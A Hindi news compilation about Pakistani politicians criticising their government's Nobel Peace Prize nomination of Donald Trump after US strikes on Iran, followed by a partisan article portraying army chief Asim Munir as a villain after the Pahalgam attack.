वहीं नोबेल पुरस्कार के लिए डोनाल्ड ट्रंप का नामांकन पाकिस्तान ने कर दिया है। अब इसे लेकर पाकिस्तान के अंदर ही आवाजें उठने लगी हैं। इसकी वजह यह है कि शांतिदूत बताए जाने के ठीक बाद अमेरिका की ओर से ईरान के परमाणु ठिकानों पर हमला किया जाना। पाकिस्तान की पूर्व राजदूत और वरिष्ठ पत्रकार मलीहा लोधी ने तो तीखी प्रतिक्रिया दी है। उन्होंने कहा, 'जिन लोगों ने डोनाल्ड ट्रंप के लिए नोबेल मांगा है, उन्हें अब माफी मांगनी चाहिए। उन्हें अपनी करनी पर दुख जाहिर करना चाहिए।'

इजरायल पहले से ही लगातार ईरान पर हमले कर रहा है और अब अमेरिका ने ईरान की तीन परमाणु सुविधाओं को निशाना बनाया है. हालांकि इसे लेकर AIMIM प्रमुख और हैदराबाद के सांसद असदुद्दीन ओवैसी (Asaduddin Owaisi) ने पाकिस्तान (Pakistan) पर निशाना साधा है. ओवैसी ने कहा कि हमें पाकिस्तानियों से पूछना चाहिए कि क्या वे चाहते हैं कि अमेरिकी राष्ट्रपति डोनाल्ड ट्रंप (Donald Trump) को इस उपलब्धि के लिए नोबेल शांति पुरस्कार मिले.

पाकिस्तान ने एक दिन पहले ही घोषणा की थी कि वह पिछले महीने पहलगाम आतंकी हमले के बाद भारत-पाकिस्तान संघर्ष के दौरान अमेरिकी हस्तक्षेप के लिए नोबेल शांति पुरस्कार के लिए डोनाल्ड ट्रंप की सिफारिश करेगा. इस्लामाबाद ने कहा, "यह हस्तक्षेप एक वास्तविक शांतिदूत के रूप में उनकी भूमिका का प्रमाण है."

मलीहा लोधी के अलावा एक अन्य लेखक जाहिद हुसैन ने भी पाकिस्तान की नीति पर सवाल उठाए हैं। उन्होंने एक्स पर लिखा, 'हमारे नोबेल शांति पुरस्कार के नॉमिनी डोनाल्ड ट्रंप ने ईरान पर बमबारी की है और दुनिया को एक नई बर्बादी के मुहाने पर खड़ा कर दिया है।' जाहिद हुसैन के इसी ट्वीट को रीट्वीट करते हुए मलीहा लोधी ने टिप्पणी की और सरकार पर निशाना साधा। यही नहीं पाकिस्तान की सरकार और सेना संसद में भी घिरते दिखे हैं।
'पूरी दुनिया कह रही अमेरिका को एयरबेस देगा पाकिस्तान'

पाकिस्तान की नेशनल असेंबली में सांसद साहिबजादा हामिद रजा ने कहा, ‘पूरी दुनिया कह रही है कि आप अपने एयरबेस और समंदर ईरान के खिलाफ अमेरिका को देने वाले हैं। उन्होंने कहा कि आपके तो फ्लैट और मकान लंदन से लेकर दुबई तक हैं। आप वहां भाग जाएंगे। पाकिस्तान का समंदर और जमीन यहां के लोगों के हैं, किसी के बाप की जागीर नहीं है। मैं कहूंगा कि ये लोग खारिज करें कि अमेरिका को एयरबेस इस्तेमाल नहीं करने दिया जाएगा। उन्होंने कहा कि हमारी सत्ता चलाने वाले लेट सकते हैं, लेकिन आलम-ए-इस्लाम तो ईरान के साथ खड़ा है।’
इमरान खान के सांसद बोले- ईरान से बचा इजरायल तो पाक मिटाएगा

साहिबजादा हामिद रजा ने कहा कि इमरान खान का स्टैंड क्लियर है कि हम इजरायल का वजूद ही नहीं स्वीकार करते। हम कहते हैं कि आपको ईरान की ओर नहीं देखने देंगे। हमारी तरफ तो क्या ही आओगे। यदि आप ईरान से बच गए तो पाकिस्तान आपको मिटाएगा। उन्होंने कहा कि इमरान खान की राय जाननी है तो कोई मोबाइल लेकर जेल में चला जाए और उनके बयान का वीडियो बना ले। आज भी वह इजरायल को लेकर अपने स्टैंड पर कायम हैं।

युद्ध खत्म करने का ट्रंप का दावा झूठा साबित हुआ'

पाकिस्तान के प्रमुख अखबार डॉन ने बताया है कि देश के कई बड़े नेताओं ने हालिया हमलों को देखते हुए सरकार से अपने फैसले की समीक्षा की मांग की है. जमीयत उलेमा-ए-इस्लाम (जेयूआई-एफ) के प्रमुख वरिष्ठ राजनीतिज्ञ मौलाना फजलुर रहमान ने मांग की है कि सरकार अपना फैसला वापस ले.

फजल ने रविवार को मुर्री में पार्टी की एक बैठक में कार्यकर्ताओं से कहा, 'राष्ट्रपति ट्रंप का शांति का दावा झूठा साबित हुआ है. नोबेल पुरस्कार का प्रस्ताव वापस लिया जाना चाहिए.'

उन्होंने पाकिस्तान के सेना प्रमुख, फील्ड मार्शल असीम मुनीर पर निशाना साधते हुए कहा कि 'पाकिस्तानी शासक ट्रंप के साथ मुलाकात और लंच से इतने खुश हुए' कि उन्होंने अमेरिकी राष्ट्रपति को नोबेल पुरस्कार के लिए नामित करने की सिफारिश की.

फजल ने सवाल किया, 'ट्रंप ने फिलिस्तीन, सीरिया, लेबनान और ईरान पर इजरायली हमलों का समर्थन किया है. यह शांति का संकेत कैसे हो सकता है? जब अमेरिका के हाथों पर अफगानों और फिलिस्तीनियों का खून लगा हो, तो वह शांति का समर्थक होने का दावा कैसे कर सकता है?'

ट्रंप ने खुद को एक ऐसे 'शांति कायम करने वाले' के रूप में प्रचारित किया था, जो यूक्रेन और गाजा में युद्धों को जल्द समाप्त करने के लिए अपने वार्ता कौशल का इस्तेमाल करेंगे, लेकिन उनके राष्ट्रपति पद के पांच महीने बाद भी दोनों संघर्ष अभी भी जारी हैं.

'ट्रंप ने जानबूझकर एक अवैध युद्ध छेड़ा'

पाकिस्तान के पूर्व सीनेटर मुशाहिद हुसैन ने एक्स पर लिखा, 'चूंकि ट्रंप अब संभावित शांति कायम करने वाले नहीं कर रह गए हैं बल्कि एक ऐसे नेता हैं जिन्होंने जानबूझकर एक अवैध युद्ध छेड़ दिया है, इसलिए पाकिस्तान सरकार को अब उनके नोबेल नॉमिनेशन की समीक्षा करनी चाहिए, उसे रद्द करना चाहिए!'

उन्होंने कहा कि ट्रंप इजरायली प्रधानमंत्री बेंजामिन नेतन्याहू और इजरायली युद्ध लॉबी के जाल में फंस गए हैं, और अपने राष्ट्रपति काल की सबसे बड़ी भूल कर बैठे हैं. उन्होंने कहा, 'ट्रंप अब अमेरिका के पतन की अध्यक्षता करेंगे!'

मुशाहिद ने एक अन्य पोस्ट में ईरान पर अमेरिकी हमलों की कड़ी निंदा करते हुए कहा कि ट्रंप ने 'धोखेबाजी की और नए युद्ध शुरू न करने के अपने वादे को तोड़ दिया.'

पाकिस्तान तहरीक-ए-इंसाफ (पीटीआई) के सांसद अली मुहम्मद खान ने अपने एक्स अकाउंट पर लिखा पाकिस्तान सरकार को अपने फैसले पर पुनर्विचार करना चाहिए.

पीटीआई के राजनीतिक थिंक टैंक के प्रमुख रऊफ हसन ने कहा कि सरकार का यह निर्णय अब 'उन लोगों के लिए शर्मिंदगी का कारण है, जिन्होंने यह फैसला लेने में महत्वपूर्ण भूमिका निभाई थी.'

हसन ने सरकार पर कटाक्ष करते हुए कहा, 'इसलिए कहा जाता है कि वैधता न तो खरीदी जा सकती है और न ही उपहार में दी जा सकती है.'

पूर्व सीनेटर अफरासियाब खट्टक ने कहा, 'राष्ट्रपति ट्रंप को नोबेल शांति पुरस्कार के लिए नामित करने में पाकिस्तानी सत्तारूढ़ एलिट क्लास की अपनाई गई चाटुकारिता अंतरराष्ट्रीय कूटनीति में आदर्श आचरण नहीं है. ट्रंप के ईरानी परमाणु संयंत्रों पर बमबारी करने के आदेश से कुछ घंटे पहले नामांकन की घोषणा करना सबसे शर्मनाक था.'

जमात-ए-इस्लामी के प्रमुख नईमुर रहमान ने कहा है कि यह फैसला 'हमारी राष्ट्रीय गरिमा और सम्मान को कम करता है.'

अमेरिका में पाकिस्तान की पूर्व राजदूत मलीहा लोधी ने इस कदम को "दुर्भाग्यपूर्ण" करार दिया और कहा कि यह फैसला जनता का फैसला नहीं है.

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आसिम मुनीर पाक इतिहास का सबसे बड़ा खलनायक, भारत को निशाने पर लेते ही बन गया भस्मासुर https://pratyushaashakinayikiran.com/?p=155305 Sat, 10 May 2025 14:37:00 +0000 https://pratyushaashakinayikiran.com/?p=155305 नई दिल्ली

पहलगाम अटैक के बाद भारत-पाक के बीच बढ़े तनाव के बीच पाकिस्तानी सेना प्रमुख जनरल आसिम मुनीर पाकिस्तान में सबसे बड़े खलनायक बन कर उभर रहे हैं. भारत ही नहीं पाकिस्तान में भी लोग मान रहे हैं कि भारत-पाक के बीच युद्ध जैसी स्थिति के लिए मुनीर ही जिम्मेदार हैं. आज 1971 के बाद पहली बार पाकिस्तान इतना कमजोर नजर आ रहा है तो उसके पीछे भी मुनीर को ही कारण बताया जा रहा है. पाकिस्तान के सेना प्रमुख के रूप में उन्होंने कई ऐसे कार्य किए हैं जिनके कारण पाकिस्तान को आंतरिक और बाह्य चुनौतियों का सामना करना पड़ रहा है.

जनरल आसिम मुनीर ने अपनी भड़काऊ बयानबाजी, आतंकवाद को बढ़ावा देने, और गलत रणनीतिक फैसलों के जरिए पाकिस्तान को अभूतपूर्व संकट में डाल दिया है . पहलगाम हमले और उनके टू-नेशन थ्योरी को बढ़ावा देने के कारण भारत के साथ तनाव को चरम पर पहुंच गया है. जबकि बलूचिस्तान, खैबर पख्तूनख्वा, और पीओके में विद्रोह ने देश को अंदर से खोखला कर दिया है.

माइकल रुबिन, एक पूर्व पेंटागन अधिकारी और अमेरिकन एंटरप्राइज इंस्टीट्यूट (AEI) के वरिष्ठ फेलो, ने पाकिस्तान के सेना प्रमुख जनरल आसिम मुनीर की तीखी आलोचना की है. रुबिन ने मुनीर को आतंकवाद को बढ़ावा देने वाला और अल-कायदा सरगना ओसामा बिन लादेन के समकक्ष बताया है.  मुनीर की अलोकप्रियता, सेना के भीतर असंतोष, और जनता का गुस्सा दर्शाता है कि वह न केवल भारत के लिए, बल्कि पाकिस्तान के लिए भी खलनायक साबित हो रहे हैं. कहा जा रहा है कि मुनीर का नेतृत्व जारी रहा, तो पाकिस्तान का विखंडन और गृहयुद्ध जैसे हालात हो सकते हैं।

1. मुनीर के बयानों से आतंकवादियों को मिली हरी झंडी, पहलगाम हमला उसका परिणाम

आसिम मुनीर पर आरोप है कि उन्होंने जम्मू-कश्मीर के पहलगाम में अप्रैल 2025 में हुए आतंकी हमले को प्रायोजित किया, जिसमें 26-27 हिंदू पर्यटकों की हत्या हुई. यह हमला उनके भारत-विरोधी जहरीले बयानों के ठीक बाद हुआ, जिसमें उन्होंने दो-राष्ट्र सिद्धांत को बढ़ावा देते हुए कहा कि हिंदू और मुस्लिम पूरी तरह अलग हैं और कश्मीर पाकिस्तान की रगों का हिस्सा है. समझा जाता है कि उनका ये बयान आतंकवादियों के लिए इशारा था. माइकल रुबिन का कहना है कि मुनीर का बयान आतंकवादी समूहों के लिए हरी झंडी का काम किया. रुबिन ने कहा कि मुनीर के इन बयानों ने लश्कर-ए-तैयबा और उसकी प्रॉक्सी द रेसिस्टेंस फ्रंट (TRF) जैसे समूहों को पहलगाम हमले के लिए प्रेरित किया.

भारत ने इस हमले के जवाब में पाकिस्तान और PoK में आतंकी ठिकानों पर हवाई हमले किए, जिसे ऑपरेशन सिंदूर नाम दिया गया. इससे दोनों देश युद्ध के कगार पर पहुंच गए. यदि तनाव बढ़ता है, तो पाकिस्तान को सैन्य और आर्थिक नुकसान हो सकता है, क्योंकि उसकी अर्थव्यवस्था पहले से ही कमजोर है.

सऊदी अरब और यूएई जैसे सहयोगी देशों ने पहलगाम हमले के लिए मुनीर की आलोचना की, जिससे पाकिस्तान की कूटनीतिक स्थिति कमजोर हुई. सोशल मीडिया पर पाकिस्तानी नागरिकों ने चिंता जताई कि युद्ध के कारण पाकिस्तान की अर्थव्यवस्था 100 साल पीछे चली जाएगी. क्योंकि देश पहले से ही IMF, सऊदी अरब, और यूएई से लिए गए कर्ज पर निर्भर है.

2. पाकिस्तान में उभरते लोकतंत्र के दमन कारण बने, इमरान खान और PTI को कुचलने में बड़ी भूमिका

मुनीर पर पूर्व प्रधानमंत्री इमरान खान और उनकी पार्टी पाकिस्तान तहरीक-ए-इंसाफ (PTI) के खिलाफ कठोर कार्रवाई करने का आरोप रहा है. खान 2023 से जेल में हैं, और उनके खिलाफ 200 से अधिक मुकदमे दर्ज किए गए. 2024 के आम चुनावों में कथित धांधली के जरिए PTI को सत्ता से दूर रखा गया. PTI नेताओं की गिरफ्तारी और सैन्य अदालतों में मुकदमे चलाने का आदेश भी मुनीर से जुड़े हैं.

इमरान खान की लोकप्रियता के बावजूद उनके दमन से पाकिस्तान में राजनीतिक अशांति बढ़ी है. PTI समर्थकों और अन्य विपक्षी दलों जैसे मौलाना फजलुर रहमान ने मुनीर के खिलाफ आंदोलन शुरू किए, जिससे #MunirOut जैसे ट्रेंड सोशल मीडिया पर वायरल हुए. पाकिस्तान में मुनीर की नीतियों को अघोषित मार्शल लॉ के रूप में देखा जा रहा है. खान के समर्थकों और मुनीर के बीच बढ़ता तनाव सेना को कमजोर कर सकता है.

3. पूर्व सेना प्रमुखों के मुकाबले मुनीर कितने कुशल

जनरल सैयद आसिम मुनीर, जो नवंबर 2022 से पाकिस्तान के सेना प्रमुख हैं, को उनके भड़काऊ बयानों, धार्मिक कट्टरता, और पहलगाम हमले में कथित भूमिका के कारण खलनायक माना जा रहा है. उनकी तुलना पूर्व सेना प्रमुखों जैसे परवेज मुशर्रफ, कमर जावेद बाजवा, राहील शरीफ, और अशफाक परवेज कयानी से करने पर उनकी नीतियों, नेतृत्व शैली, और पाकिस्तान पर प्रभाव में स्पष्टतया कमतर नजर आते हैं.

बाजवा ने 2019 के पुलवामा हमले के बाद संयम बरता और भारतीय पायलट अभिनंदन वर्धमान को लौटाकर युद्ध टाला. बाजवा का जोर क्षेत्रीय स्थिरता और कूटनीति पर था. परवेज मुशर्रफ ने करगिल युद्ध (1999) और संसद हमले (2001) के जरिए भारत के साथ तनाव बढ़ाया, लेकिन उनकी छवि उदारवादी थी. वे मुनीर की तरह इस्लामी कट्टरता और जिहादी बयानबाजी पर निर्भर नहीं थे.

मुनीर का धार्मिक ज्ञान, ISI और मिलिट्री इंटेलिजेंस का अनुभव, और आंतरिक दमन की नीति उन्हें अपने पूर्ववर्तियों से अधिक खतरनाक बनाती हैं. मुनीर की रणनीति मुशर्रफ और कयानी की तरह आतंकवाद पर निर्भर है, लेकिन उनकी खुली धार्मिक बयानबाजी जैसे हिंदू और मुस्लिम अलग हैं और परमाणु धमकियां उन्हें अधिक आक्रामक बनाती हैं. उनकी परमाणु धमकियों पर संयुक्त राष्ट्र सुरक्षा परिषद ने 2025 में चर्चा की जिससे अंतरराष्ट्रीय स्तर पर पाकिस्तान की छवि खराब हुई है.

मुशर्रफ और बाजवा ने अमेरिका और चीन के साथ संतुलन बनाया, लेकिन मुनीर ने CPEC हमलों (जैसे कराची में चीनी नागरिकों की हत्या, 2024) के कारण चीन को नाराज किया. FATF में ग्रे लिस्ट का खतरा उनकी कूटनीतिक विफलता को दर्शाता है.

4. बलूचिस्तान और गिलगित-बाल्तिस्तान में असंतोष की जड़

मुनीर ने बलूचिस्तान में अलगाववादी आंदोलनों को कुचलने के लिए सैन्य कार्रवाई तेज की और क्षेत्र को पाकिस्तान के माथे का झूमर बताया. हालांकि, उनकी धमकियों, जैसे आतंकवादियों की 10 पीढ़ियां भी बलूचिस्तान को नुकसान नहीं पहुंचा सकतीं ने स्थानीय नेताओं को भड़काया. बलूच नेता सरदार अख्तर मेंगल ने 1971 की बांग्लादेश हार की याद दिलाते हुए सेना को चेतावनी दी. गिलगित-बाल्तिस्तान में भी स्थानीय लोग सेना के खिलाफ सड़कों पर उतरे.

बलूचिस्तान में बलूच विद्रोहियों ने सेना को कई बार नुकसान पहुंचाया है. यदि यह विद्रोह बढ़ता है, तो यह 1971 जैसे विभाजन का कारण बन सकता है, जिससे पाकिस्तान की क्षेत्रीय अखंडता खतरे में पड़ सकती है. बलूचिस्तान और गिलगित-बाल्तिस्तान में अशांति से CPEC (चीन-पाकिस्तान आर्थिक गलियारा) जैसे महत्वपूर्ण प्रोजेक्ट प्रभावित हो सकते हैं. जिससे पाकिस्तान की अर्थव्यवस्था को और झटका लगेगा.

5. सेना में असंतोष और मुनीर पर भ्रष्टाचार के आरोप

मुनीर के नेतृत्व में सेना के भीतर असंतोष बढ़ा है. मार्च 2025 में जूनियर अधिकारियों ने उनके खिलाफ खुला पत्र लिखकर इस्तीफे की मांग की. कुछ रिपोर्ट्स के अनुसार, 72 घंटों में 1,450 सैनिकों (250 अधिकारियों सहित) ने इस्तीफा दे दिया, हालांकि पाक सेना ने इसे भारतीय प्रचार बताया.हालांकि लेफ्टिनेंट जनरल उमर अहमद बुखारी ने भी सेना में कमजोर मनोबल की बात उठाई.

मुनीर के चलते असंतुष्ट सैनिकों और अधिकारियों के विद्रोह या आतंकी संगठनों में शामिल होने का खतरा बढ़ सकता है, जिससे आंतरिक सुरक्षा संकट गहरा सकता है. मुनीर पर आरोप है कि उन्हो्ंने सेना से बहुत पैसा बनाया है. उन्होंने काला धन रियल एस्टेट, बैंकिंग, डेयरी आदि में लगाया है. उनकी व्यक्तिगत संपत्ति को 80 लाख डॉलर आंका गया है. सोशल मीडिया पर लगाए गए आरोपों में कहा गया कि उन्होंने अमेरिका और इंग्लैंड में अरबों की संपत्ति बनाई है.

 

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